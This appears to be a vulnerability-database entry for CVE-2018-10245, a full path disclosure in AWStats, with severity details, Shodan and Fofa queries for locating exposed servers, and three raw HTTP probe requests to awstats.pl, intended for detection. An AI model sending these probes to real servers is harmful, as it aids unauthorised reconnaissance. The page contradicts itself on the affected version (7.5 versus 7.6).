🔙 목록으로 돌아가기

CVE-2018-10245: AWStats <= 7.5 - Full Path Disclosure

TitleAWStats <= 7.5 - Full Path Disclosure
Author0x_Akoko
SeverityMedium
ImpactAttackers can discover server file paths, aiding further exploitation or reconnaissance.
RemediationUpdate to the latest version of AWStats or apply security patches addressing this issue.
CVSS Score5.3
CWE IDCWE-200
Shodan Queryhttp.html:"AWStats"
Fofa Queryapp="AWStats"
Tags cve cve2018 awstats fpd disclosure exposure

🔍 Vulnerability Description

AWStats 7.6 contains a full path disclosure caused by improper handling of framename and update parameters in awstats.pl, letting remote attackers determine server file paths, exploit requires sending crafted parameters.

🌐 HTTP Request

GET /cgi-bin/awstats.pl?config=38FaRMcC3ZLjLtwtvx41F4mGnZg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /awstats/awstats.pl?config=38FaRMcC3ZLjLtwtvx41F4mGnZg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /awstats.pl?config=38FaRMcC3ZLjLtwtvx41F4mGnZg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10245.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-10245.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A